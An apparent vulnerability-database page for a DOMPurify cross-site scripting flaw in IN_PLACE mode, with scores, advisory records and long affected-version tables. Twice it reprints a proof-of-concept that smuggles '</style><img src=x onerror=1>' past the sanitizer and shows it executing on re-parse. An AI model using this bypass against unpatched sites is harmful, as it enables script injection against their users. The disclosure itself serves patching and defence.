CVE-2026-109345
DOMPurify before 3.4.16 XSS via IN_PLACE Returned Rawtext Root
DOMPurify before 3.4.16 contains a cross-site scripting vulnerability that allows attackers to bypass sanitization because IN_PLACE mode returns a force-removed style element whose text content still carries markup. Attackers can supply a style element containing a closing style tag and an img onerror payload, which executes script when the application serializes and re-parses the returned node.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Active
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
5.1
DOMPurify before 3.4.16 XSS via IN_PLACE Returned Rawtext Root
DOMPurify before 3.4.16 contains a cross-site scripting vulnerability that allows attackers to bypass sanitization because IN_PLACE mode returns a force-removed style element whose text content still carries markup. Attackers can supply a style element containing a closing style tag and an img onerror payload, which executes script when the application serializes and re-parses the returned node.
- Record
CVE-2026-109345- CVSS 4.0
- 5.1 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N - CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
EUVDEUVD-2026-97647
5.1
DOMPurify before 3.4.16 contains a cross-site scripting vulnerability that allows attackers to bypass sanitization because IN_PLACE mode returns a force-removed style element whose text content still carries markup. Attackers can supply a style element containing a closing style tag and an img onerror payload, which executes script when the application serializes and re-parses the returned node.
- Record
EUVD-2026-97647- CVSS 4.0
- 5.1 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-cjhx-p48c-gfm9
5.1
DOMPurify before 3.4.16 contains a cross-site scripting vulnerability that allows attackers to...
DOMPurify before 3.4.16 contains a cross-site scripting vulnerability that allows attackers to bypass sanitization because IN_PLACE mode returns a force-removed style element whose text content still carries markup. Attackers can supply a style element containing a closing style tag and an img onerror payload, which executes script when the application serializes and re-parses the returned node.
- Record
GHSA-cjhx-p48c-gfm9- CVSS 4.0
- 5.1 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-6688-9rhm-gjv2 No score
DOMPurify: IN_PLACE returns a force-removed rawtext root whose text carries attacker markup — pure HTML reparse executes
Environment
- dompurify 3.4.15 (current npm release); reproduced independently on jsdom 30.0.1 and 29.1.1 (Node.js 20.x / 26.x)
- Config:
DOMPurify.sanitize(node, { IN_PLACE: true })on a Node input;SAFE_FOR_XMLat its default (true)
Summary
The 3.4.9 fix for the IN_PLACE detached-root class added two protections on the IN_PLACE return path: a fail-closed TypeError in _forceRemove when a node selected for removal cannot be detached, and a _neutralizeSubtree pass (dist/purify.js line 1336) that strips non-allowlisted attributes from removed subtrees.
Both miss the rawtext text-content form. When the force-removed root is a rawtext element (<style>), the payload lives in the node's text: the node detaches fine (the TypeError guard is not reached), _neutralizeSubtree strips nothing (there are no attributes), and the IN_PLACE exit returns the detached, never-sanitized <style> whose text still carries live markup. Serializing that node and re-parsing it in plain HTML context materializes the payload — no foreign-content context required.
The same Node input sanitized without IN_PLACE returns an empty result: the only difference is the IN_PLACE return path handing the killed node back.
Steps to reproduce
const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify'); // 3.4.15
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
const styleRoot = window.document.createElement('style');
styleRoot.setAttribute('onclick', 'alert(1)'); // attribute payload
styleRoot.textContent = '</style><img src=x onerror=1>'; // text payload
window.document.body.appendChild(styleRoot);
const returned = DOMPurify.sanitize(styleRoot, { IN_PLACE: true });
console.log(returned === styleRoot); // true (same node)
console.log(styleRoot.parentNode === null); // true (detached)
console.log(styleRoot.outerHTML);
// <style></style><img src=x onerror=1></style>
console.log(styleRoot.getAttribute('onclick')); // null (attribute neutralized)
console.log(styleRoot.textContent); // '</style><img src=x onerror=1>' (text survives)
// plain HTML reparse (no foreign-content context involved):
const probe = window.document.createElement('div');
probe.innerHTML = returned.outerHTML || styleRoot.outerHTML;
console.log(probe.querySelectorAll('img').length); // 1
console.log(probe.querySelector('img').getAttribute('onerror')); // "1"
Observed on 3.4.15: one node, one call — the onclick attribute is neutralized while the text payload (</style><img src=x onerror=1>) survives verbatim; serializing and re-parsing the returned node in plain HTML context materializes the img with the live onerror handler.
Contrast on the same Node input without IN_PLACE: RETURN_DOM: true → <body></body>; RETURN_DOM_FRAGMENT: true → 0 children — the payload is fully sanitized away. The only difference is the IN_PLACE return path.
Contrast on the removal trigger: SAFE_FOR_XML: false → the node is not removed (detached stays false); plain CSS text → not removed. The removal is gated by the mXSS text probes and happens specifically because the serialized node would re-open tags on reparse.
Root cause
_isUnsafeNode (dist/purify.js 3.4.15, lines 1700–1714) removes nodes whose literal text would re-open tags on reparse — shape (b) in the source comment is "text-only content that already carries the element's OWN end tag", detected by the LITERAL_TEXT_CLOSE probe (line 385) alongside the ELEMENT_MARKUP_PROBE (line 339) rules. _forceRemove (line 1122) records the node in DOMPurify.removed ({element}) and detaches it. The removal is intentional: the upstream comment states these shapes are removed because the literal serializer emits them verbatim for the HTML parser to re-open.
The IN_PLACE exit then hands the force-removed root…
- Record
GHSA-6688-9rhm-gjv2- Weakness
- CWE-79
- Updated
- 2026-11-02
NVD
5.1
DOMPurify before 3.4.16 contains a cross-site scripting vulnerability that allows attackers to bypass sanitization because IN_PLACE mode returns a force-removed style element whose text content still carries markup. Attackers can supply a style element containing a closing style tag and an img onerror payload, which executes script when the application serializes and re-parses the returned node.
- Record
CVE-2026-109345- CVSS 4.0
- 5.1 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSV
5.1
DOMPurify before 3.4.16 XSS via IN_PLACE Returned Rawtext Root
DOMPurify before 3.4.16 contains a cross-site scripting vulnerability that allows attackers to bypass sanitization because IN_PLACE mode returns a force-removed style element whose text content still carries markup. Attackers can supply a style element containing a closing style tag and an img onerror payload, which executes script when the application serializes and re-parses the returned node.
- Record
CVE-2026-109345- CVSS 4.0
- 5.1 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N - Weakness
- CWE-79
- Updated
- 2026-11-02
Show 44 moreShow less
OSVDEBIAN-CVE-2026-109345
5.1
DOMPurify before 3.4.16 contains a cross-site scripting vulnerability that allows attackers to bypass sanitization because IN_PLACE mode returns a force-removed style element whose text content still carries markup. Attackers can supply a style element containing a closing style tag and an img onerror payload, which executes script when the application serializes and re-parses the returned node.
- Record
DEBIAN-CVE-2026-109345- CVSS 4.0
- 5.1 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-109345
5.1
DOMPurify before 3.4.16 contains a cross-site scripting vulnerability that allows attackers to bypass sanitization because IN_PLACE mode returns a force-removed style element whose text content still carries markup. Attackers can supply a style element containing a closing style tag and an img onerror payload, which executes script when the application serializes and re-parses the returned node.
- Record
UBUNTU-CVE-2026-109345- CVSS 4.0
- 5.1 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N - CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Updated
- 2026-11-02
OSVCLSA-2026-1791626851 No score
TuxCare security update for dompurify (1 CVE)
TuxCare rebuilt dompurify to address 1 CVE. Fixed in 2.3.0-tuxcare.6.
- Record
CLSA-2026-1791626851- Updated
- 2026-11-02
OSVCLSA-2026-1791626965 No score
TuxCare security update for dompurify (1 CVE)
TuxCare rebuilt dompurify to address 1 CVE. Fixed in 2.4.7-tuxcare.6.
- Record
CLSA-2026-1791626965- Updated
- 2026-11-02
OSVCLSA-2026-1791627235 No score
TuxCare security update for dompurify (1 CVE)
TuxCare rebuilt dompurify to address 1 CVE. Fixed in 2.5.8-tuxcare.8.
- Record
CLSA-2026-1791627235- Updated
- 2026-11-02
OSVCLSA-2026-1791627414 No score
TuxCare security update for dompurify (1 CVE)
TuxCare rebuilt dompurify to address 1 CVE. Fixed in 2.5.9-tuxcare.8.
- Record
CLSA-2026-1791627414- Updated
- 2026-11-02
OSVCLSA-2026-1791627570 No score
TuxCare security update for dompurify (1 CVE)
TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.0.3-tuxcare.6.
- Record
CLSA-2026-1791627570- Updated
- 2026-11-02
OSVCLSA-2026-1791627799 No score
TuxCare security update for dompurify (1 CVE)
TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.1.6-tuxcare.9.
- Record
CLSA-2026-1791627799- Updated
- 2026-11-02
OSVCLSA-2026-1791667159 No score
TuxCare security update for dompurify (1 CVE)
TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.2.3-tuxcare.5.
- Record
CLSA-2026-1791667159- Updated
- 2026-11-02
OSVCLSA-2026-1791667324 No score
TuxCare security update for dompurify (1 CVE)
TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.2.7-tuxcare.4.
- Record
CLSA-2026-1791667324- Updated
- 2026-11-02
OSVCLSA-2026-1791668940 No score
TuxCare security update for dompurify (1 CVE)
TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.4.8-tuxcare.5.
- Record
CLSA-2026-1791668940- Updated
- 2026-11-02
OSVCLSA-2026-1791795543 No score
TuxCare security update for dompurify (1 CVE)
TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.2.6-tuxcare.1.
- Record
CLSA-2026-1791795543- Updated
- 2026-11-02
OSVCLSA-2026-1791795654 No score
TuxCare security update for dompurify (1 CVE)
TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.3.3-tuxcare.1.
- Record
CLSA-2026-1791795654- Updated
- 2026-11-02
OSVCLSA-2026-1791798632 No score
TuxCare security update for dompurify (1 CVE)
TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.1.4-tuxcare.1.
- Record
CLSA-2026-1791798632- Updated
- 2026-11-02
OSVCLSA-2026-1791798802 No score
TuxCare security update for dompurify (1 CVE)
TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.0.2-tuxcare.1.
- Record
CLSA-2026-1791798802- Updated
- 2026-11-02
OSVCLSA-2026-1791799053 No score
TuxCare security update for dompurify (1 CVE)
TuxCare rebuilt dompurify to address 1 CVE. Fixed in 2.0.8-tuxcare.1.
- Record
CLSA-2026-1791799053- Updated
- 2026-11-02
OSVCLSA-2026-1791806404 No score
TuxCare security update for dompurify (1 CVE)
TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.1.3-tuxcare.1.
- Record
CLSA-2026-1791806404- Updated
- 2026-11-02
OSVCLSA-2026-1791806518 No score
TuxCare security update for dompurify (1 CVE)
TuxCare rebuilt dompurify to address 1 CVE. Fixed in 2.4.0-tuxcare.6.
- Record
CLSA-2026-1791806518- Updated
- 2026-11-02
OSVCLSA-2026-1791806624 No score
TuxCare security update for dompurify (1 CVE)
TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.0.1-tuxcare.1.
- Record
CLSA-2026-1791806624- Updated
- 2026-11-02
OSVCLSA-2026-1791814922 No score
TuxCare security update for dompurify (1 CVE)
TuxCare rebuilt dompurify to address 1 CVE. Fixed in 2.3.10-tuxcare.1.
- Record
CLSA-2026-1791814922- Updated
- 2026-11-02
OSVCLSA-2026-1791821318 No score
TuxCare security update for dompurify (1 CVE)
TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.1.2-tuxcare.1.
- Record
CLSA-2026-1791821318- Updated
- 2026-11-02
OSVCLSA-2026-1791821442 No score
TuxCare security update for dompurify (1 CVE)
TuxCare rebuilt dompurify to address 1 CVE. Fixed in 2.3.3-tuxcare.1.
- Record
CLSA-2026-1791821442- Updated
- 2026-11-02
OSVCLSA-2026-1791825519 No score
TuxCare security update for dompurify (1 CVE)
TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.1.1-tuxcare.1.
- Record
CLSA-2026-1791825519- Updated
- 2026-11-02
OSVCLSA-2026-1791846572 No score
TuxCare security update for dompurify (1 CVE)
TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.1.0-tuxcare.1.
- Record
CLSA-2026-1791846572- Updated
- 2026-11-02
OSVCLSA-2026-1791849675 No score
TuxCare security update for dompurify (1 CVE)
TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.0.11-tuxcare.1.
- Record
CLSA-2026-1791849675- Updated
- 2026-11-02
OSVCLSA-2026-1791888656 No score
TuxCare security update for dompurify (2 CVEs)
TuxCare rebuilt dompurify to address 2 CVEs. Fixed in 3.0.9-tuxcare.1.
- Record
CLSA-2026-1791888656- Updated
- 2026-11-02
OSVCLSA-2026-1791908220 No score
TuxCare security update for dompurify (2 CVEs)
TuxCare rebuilt dompurify to address 2 CVEs. Fixed in 3.0.8-tuxcare.1.
- Record
CLSA-2026-1791908220- Updated
- 2026-11-02
OSVCLSA-2026-1791988201 No score
TuxCare security update for dompurify (1 CVE)
TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.0.6-tuxcare.1.
- Record
CLSA-2026-1791988201- Updated
- 2026-11-02
OSVCLSA-2026-1792001523 No score
TuxCare security update for dompurify (1 CVE)
TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.0.5-tuxcare.1.
- Record
CLSA-2026-1792001523- Updated
- 2026-11-02
OSVCLSA-2026-1792150209 No score
TuxCare security update for dompurify (9 CVEs)
TuxCare rebuilt dompurify to address 9 CVEs. Fixed in 3.4.5-tuxcare.2.
- Record
CLSA-2026-1792150209- Updated
- 2026-11-02
OSVCLSA-2026-1792154118 No score
TuxCare security update for dompurify (2 CVEs)
TuxCare rebuilt dompurify to address 2 CVEs. Fixed in 3.4.9-tuxcare.2.
- Record
CLSA-2026-1792154118- Updated
- 2026-11-02
OSVCLSA-2026-1792155744 No score
TuxCare security update for dompurify (1 CVE)
TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.0.4-tuxcare.1.
- Record
CLSA-2026-1792155744- Updated
- 2026-11-02
OSVCLSA-2026-1792155851 No score
TuxCare security update for dompurify (12 CVEs)
TuxCare rebuilt dompurify to address 12 CVEs. Fixed in 3.1.3-tuxcare.2.
- Record
CLSA-2026-1792155851- Updated
- 2026-11-02
OSVCLSA-2026-1792156909 No score
TuxCare security update for dompurify (10 CVEs)
TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.0.1-tuxcare.2.
- Record
CLSA-2026-1792156909- Updated
- 2026-11-02
OSVCLSA-2026-1792157349 No score
TuxCare security update for dompurify (5 CVEs)
TuxCare rebuilt dompurify to address 5 CVEs. Fixed in 3.4.6-tuxcare.2.
- Record
CLSA-2026-1792157349- Updated
- 2026-11-02
OSVCLSA-2026-1792157367 No score
TuxCare security update for dompurify (4 CVEs)
TuxCare rebuilt dompurify to address 4 CVEs. Fixed in 3.4.7-tuxcare.2.
- Record
CLSA-2026-1792157367- Updated
- 2026-11-02
OSVCLSA-2026-1792159109 No score
TuxCare security update for dompurify (2 CVEs)
TuxCare rebuilt dompurify to address 2 CVEs. Fixed in 3.4.11-tuxcare.2.
- Record
CLSA-2026-1792159109- Updated
- 2026-11-02
OSVCLSA-2026-1792159229 No score
TuxCare security update for dompurify (3 CVEs)
TuxCare rebuilt dompurify to address 3 CVEs. Fixed in 3.4.10-tuxcare.2.
- Record
CLSA-2026-1792159229- Updated
- 2026-11-02
OSVCLSA-2026-1792231043 No score
TuxCare security update for dompurify (1 CVE)
TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.4.14-tuxcare.2.
- Record
CLSA-2026-1792231043- Updated
- 2026-11-02
OSVCLSA-2026-1792508927 No score
TuxCare security update for dompurify (2 CVEs)
TuxCare rebuilt dompurify to address 2 CVEs. Fixed in 3.4.13-tuxcare.1.
- Record
CLSA-2026-1792508927- Updated
- 2026-11-02
OSVCLSA-2026-1792509241 No score
TuxCare security update for dompurify (2 CVEs)
TuxCare rebuilt dompurify to address 2 CVEs. Fixed in 3.4.15-tuxcare.1.
- Record
CLSA-2026-1792509241- Updated
- 2026-11-02
OSVCLSA-2026-1792933945 No score
TuxCare security update for dompurify (12 CVEs)
TuxCare rebuilt dompurify to address 12 CVEs. Fixed in 3.4.0-tuxcare.1.
- Record
CLSA-2026-1792933945- Updated
- 2026-11-02
OSVCLSA-2026-1793102164 No score
TuxCare security update for dompurify (4 CVEs)
TuxCare rebuilt dompurify to address 4 CVEs. Fixed in 3.4.12-tuxcare.3.
- Record
CLSA-2026-1793102164- Updated
- 2026-11-02
OSVGHSA-6688-9rhm-gjv2 No score
DOMPurify: IN_PLACE returns a force-removed rawtext root whose text carries attacker markup — pure HTML reparse executes
Environment
- dompurify 3.4.15 (current npm release); reproduced independently on jsdom 30.0.1 and 29.1.1 (Node.js 20.x / 26.x)
- Config:
DOMPurify.sanitize(node, { IN_PLACE: true })on a Node input;SAFE_FOR_XMLat its default (true)
Summary
The 3.4.9 fix for the IN_PLACE detached-root class added two protections on the IN_PLACE return path: a fail-closed TypeError in _forceRemove when a node selected for removal cannot be detached, and a _neutralizeSubtree pass (dist/purify.js line 1336) that strips non-allowlisted attributes from removed subtrees.
Both miss the rawtext text-content form. When the force-removed root is a rawtext element (<style>), the payload lives in the node's text: the node detaches fine (the TypeError guard is not reached), _neutralizeSubtree strips nothing (there are no attributes), and the IN_PLACE exit returns the detached, never-sanitized <style> whose text still carries live markup. Serializing that node and re-parsing it in plain HTML context materializes the payload — no foreign-content context required.
The same Node input sanitized without IN_PLACE returns an empty result: the only difference is the IN_PLACE return path handing the killed node back.
Steps to reproduce
const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify'); // 3.4.15
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
const styleRoot = window.document.createElement('style');
styleRoot.setAttribute('onclick', 'alert(1)'); // attribute payload
styleRoot.textContent = '</style><img src=x onerror=1>'; // text payload
window.document.body.appendChild(styleRoot);
const returned = DOMPurify.sanitize(styleRoot, { IN_PLACE: true });
console.log(returned === styleRoot); // true (same node)
console.log(styleRoot.parentNode === null); // true (detached)
console.log(styleRoot.outerHTML);
// <style></style><img src=x onerror=1></style>
console.log(styleRoot.getAttribute('onclick')); // null (attribute neutralized)
console.log(styleRoot.textContent); // '</style><img src=x onerror=1>' (text survives)
// plain HTML reparse (no foreign-content context involved):
const probe = window.document.createElement('div');
probe.innerHTML = returned.outerHTML || styleRoot.outerHTML;
console.log(probe.querySelectorAll('img').length); // 1
console.log(probe.querySelector('img').getAttribute('onerror')); // "1"
Observed on 3.4.15: one node, one call — the onclick attribute is neutralized while the text payload (</style><img src=x onerror=1>) survives verbatim; serializing and re-parsing the returned node in plain HTML context materializes the img with the live onerror handler.
Contrast on the same Node input without IN_PLACE: RETURN_DOM: true → <body></body>; RETURN_DOM_FRAGMENT: true → 0 children — the payload is fully sanitized away. The only difference is the IN_PLACE return path.
Contrast on the removal trigger: SAFE_FOR_XML: false → the node is not removed (detached stays false); plain CSS text → not removed. The removal is gated by the mXSS text probes and happens specifically because the serialized node would re-open tags on reparse.
Root cause
_isUnsafeNode (dist/purify.js 3.4.15, lines 1700–1714) removes nodes whose literal text would re-open tags on reparse — shape (b) in the source comment is "text-only content that already carries the element's OWN end tag", detected by the LITERAL_TEXT_CLOSE probe (line 385) alongside the ELEMENT_MARKUP_PROBE (line 339) rules. _forceRemove (line 1122) records the node in DOMPurify.removed ({element}) and detaches it. The removal is intentional: the upstream comment states these shapes are removed because the literal serializer emits them verbatim for the HTML parser to re-open.
The IN_PLACE exit then hands the force-removed root…
- Record
GHSA-6688-9rhm-gjv2- Weakness
- CWE-79
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
dompurifynpm |
through 3.4.15 | 3.4.16 |
dompurifyTuxCare:npm |
2.3.0-tuxcare.0 up to 2.3.0-tuxcare.6, plus listed versions 2.3.02.3.0-tuxcare.12.3.0-tuxcare.22.3.0-tuxcare.32.3.0-tuxcare.42.3.0-tuxcare.5 |
2.3.0-tuxcare.6 |
dompurifyTuxCare:npm |
2.4.7-tuxcare.0 up to 2.4.7-tuxcare.6, plus listed versions 2.4.72.4.7-tuxcare.12.4.7-tuxcare.22.4.7-tuxcare.32.4.7-tuxcare.42.4.7-tuxcare.5 |
2.4.7-tuxcare.6 |
dompurifyTuxCare:npm |
2.5.8-tuxcare.0 up to 2.5.8-tuxcare.8, plus listed versions 2.5.82.5.8-tuxcare.12.5.8-tuxcare.22.5.8-tuxcare.32.5.8-tuxcare.42.5.8-tuxcare.52.5.8-tuxcare.62.5.8-tuxcare.7 |
2.5.8-tuxcare.8 |
dompurifyTuxCare:npm |
2.5.9-tuxcare.0 up to 2.5.9-tuxcare.8, plus listed versions 2.5.92.5.9-tuxcare.12.5.9-tuxcare.22.5.9-tuxcare.32.5.9-tuxcare.42.5.9-tuxcare.52.5.9-tuxcare.62.5.9-tuxcare.7 |
2.5.9-tuxcare.8 |
dompurifyTuxCare:npm |
3.0.3-tuxcare.0 up to 3.0.3-tuxcare.6, plus listed versions 3.0.33.0.3-tuxcare.13.0.3-tuxcare.23.0.3-tuxcare.33.0.3-tuxcare.43.0.3-tuxcare.5 |
3.0.3-tuxcare.6 |
dompurifyTuxCare:npm |
3.1.6-tuxcare.0 up to 3.1.6-tuxcare.9, plus listed versions 3.1.63.1.6-tuxcare.13.1.6-tuxcare.23.1.6-tuxcare.33.1.6-tuxcare.4 Show 4 moreShow less3.1.6-tuxcare.53.1.6-tuxcare.63.1.6-tuxcare.73.1.6-tuxcare.8 |
3.1.6-tuxcare.9 |
dompurifyTuxCare:npm |
3.2.3-tuxcare.0 up to 3.2.3-tuxcare.5, plus listed versions 3.2.33.2.3-tuxcare.13.2.3-tuxcare.23.2.3-tuxcare.33.2.3-tuxcare.4 |
3.2.3-tuxcare.5 |
dompurifyTuxCare:npm |
3.2.7-tuxcare.0 up to 3.2.7-tuxcare.4, plus listed versions 3.2.73.2.7-tuxcare.13.2.7-tuxcare.23.2.7-tuxcare.3 |
3.2.7-tuxcare.4 |
dompurifyTuxCare:npm |
3.4.8-tuxcare.0 up to 3.4.8-tuxcare.5, plus listed versions 3.4.83.4.8-tuxcare.13.4.8-tuxcare.23.4.8-tuxcare.33.4.8-tuxcare.4 |
3.4.8-tuxcare.5 |
Show 40 moreShow less
| Package | Affected | Fixed |
|---|---|---|
dompurifyTuxCare:npm |
3.2.6-tuxcare.0 up to 3.2.6-tuxcare.1, plus listed versions 3.2.6 |
3.2.6-tuxcare.1 |
dompurifyTuxCare:npm |
3.3.3-tuxcare.0 up to 3.3.3-tuxcare.1, plus listed versions 3.3.3 |
3.3.3-tuxcare.1 |
dompurifyTuxCare:npm |
3.1.4-tuxcare.0 up to 3.1.4-tuxcare.1, plus listed versions 3.1.4 |
3.1.4-tuxcare.1 |
dompurifyTuxCare:npm |
3.0.2-tuxcare.0 up to 3.0.2-tuxcare.1, plus listed versions 3.0.2 |
3.0.2-tuxcare.1 |
dompurifyTuxCare:npm |
2.0.8-tuxcare.0 up to 2.0.8-tuxcare.1, plus listed versions 2.0.8 |
2.0.8-tuxcare.1 |
dompurifyTuxCare:npm |
3.1.3-tuxcare.0 up to 3.1.3-tuxcare.1, plus listed versions 3.1.3 |
3.1.3-tuxcare.1 |
dompurifyTuxCare:npm |
2.4.0-tuxcare.0 up to 2.4.0-tuxcare.6, plus listed versions 2.4.02.4.0-tuxcare.12.4.0-tuxcare.22.4.0-tuxcare.32.4.0-tuxcare.42.4.0-tuxcare.5 |
2.4.0-tuxcare.6 |
dompurifyTuxCare:npm |
3.0.1-tuxcare.0 up to 3.0.1-tuxcare.1, plus listed versions 3.0.1 |
3.0.1-tuxcare.1 |
dompurifyTuxCare:npm |
2.3.10-tuxcare.0 up to 2.3.10-tuxcare.1, plus listed versions 2.3.10 |
2.3.10-tuxcare.1 |
dompurifyTuxCare:npm |
3.1.2-tuxcare.0 up to 3.1.2-tuxcare.1, plus listed versions 3.1.2 |
3.1.2-tuxcare.1 |
dompurifyTuxCare:npm |
2.3.3-tuxcare.0 up to 2.3.3-tuxcare.1, plus listed versions 2.3.3 |
2.3.3-tuxcare.1 |
dompurifyTuxCare:npm |
3.1.1-tuxcare.0 up to 3.1.1-tuxcare.1, plus listed versions 3.1.1 |
3.1.1-tuxcare.1 |
dompurifyTuxCare:npm |
3.1.0-tuxcare.0 up to 3.1.0-tuxcare.1, plus listed versions 3.1.0 |
3.1.0-tuxcare.1 |
dompurifyTuxCare:npm |
3.0.11-tuxcare.0 up to 3.0.11-tuxcare.1, plus listed versions 3.0.11 |
3.0.11-tuxcare.1 |
dompurifyTuxCare:npm |
3.0.9-tuxcare.0 up to 3.0.9-tuxcare.1, plus listed versions 3.0.9 |
3.0.9-tuxcare.1 |
dompurifyTuxCare:npm |
3.0.8-tuxcare.0 up to 3.0.8-tuxcare.1, plus listed versions 3.0.8 |
3.0.8-tuxcare.1 |
dompurifyTuxCare:npm |
3.0.6-tuxcare.0 up to 3.0.6-tuxcare.1, plus listed versions 3.0.6 |
3.0.6-tuxcare.1 |
dompurifyTuxCare:npm |
3.0.5-tuxcare.0 up to 3.0.5-tuxcare.1, plus listed versions 3.0.5 |
3.0.5-tuxcare.1 |
dompurifyTuxCare:npm From an advisory covering 6 CVEs |
3.4.5-tuxcare.0 up to 3.4.5-tuxcare.2, plus listed versions 3.4.53.4.5-tuxcare.1 |
3.4.5-tuxcare.2 |
dompurifyTuxCare:npm From an advisory covering 2 CVEs |
3.4.9-tuxcare.0 up to 3.4.9-tuxcare.2, plus listed versions 3.4.93.4.9-tuxcare.1 |
3.4.9-tuxcare.2 |
dompurifyTuxCare:npm |
3.0.4-tuxcare.0 up to 3.0.4-tuxcare.1, plus listed versions 3.0.4 |
3.0.4-tuxcare.1 |
dompurifyTuxCare:npm From an advisory covering 12 CVEs |
3.1.3-tuxcare.0 up to 3.1.3-tuxcare.2, plus listed versions 3.1.33.1.3-tuxcare.1 |
3.1.3-tuxcare.2 |
dompurifyTuxCare:npm From an advisory covering 10 CVEs |
3.0.1-tuxcare.0 up to 3.0.1-tuxcare.2, plus listed versions 3.0.13.0.1-tuxcare.1 |
3.0.1-tuxcare.2 |
dompurifyTuxCare:npm From an advisory covering 4 CVEs |
3.4.6-tuxcare.0 up to 3.4.6-tuxcare.2, plus listed versions 3.4.63.4.6-tuxcare.1 |
3.4.6-tuxcare.2 |
dompurifyTuxCare:npm From an advisory covering 3 CVEs |
3.4.7-tuxcare.0 up to 3.4.7-tuxcare.2, plus listed versions 3.4.73.4.7-tuxcare.1 |
3.4.7-tuxcare.2 |
dompurifyTuxCare:npm From an advisory covering 2 CVEs |
3.4.11-tuxcare.0 up to 3.4.11-tuxcare.2, plus listed versions 3.4.113.4.11-tuxcare.1 |
3.4.11-tuxcare.2 |
dompurifyTuxCare:npm From an advisory covering 3 CVEs |
3.4.10-tuxcare.0 up to 3.4.10-tuxcare.2, plus listed versions 3.4.103.4.10-tuxcare.1 |
3.4.10-tuxcare.2 |
dompurifyTuxCare:npm |
3.4.14-tuxcare.0 up to 3.4.14-tuxcare.2, plus listed versions 3.4.143.4.14-tuxcare.1 |
3.4.14-tuxcare.2 |
dompurifyTuxCare:npm From an advisory covering 2 CVEs |
3.4.13-tuxcare.0 up to 3.4.13-tuxcare.1, plus listed versions 3.4.13 |
3.4.13-tuxcare.1 |
dompurifyTuxCare:npm From an advisory covering 2 CVEs |
3.4.15-tuxcare.0 up to 3.4.15-tuxcare.1, plus listed versions 3.4.15 |
3.4.15-tuxcare.1 |
dompurifyTuxCare:npm From an advisory covering 9 CVEs |
3.4.0-tuxcare.0 up to 3.4.0-tuxcare.1, plus listed versions 3.4.0 |
3.4.0-tuxcare.1 |
dompurifyTuxCare:npm From an advisory covering 3 CVEs |
3.4.12-tuxcare.0 up to 3.4.12-tuxcare.3, plus listed versions 3.4.123.4.12-tuxcare.13.4.12-tuxcare.2 |
3.4.12-tuxcare.3 |
node-dompurifyDebian:12 |
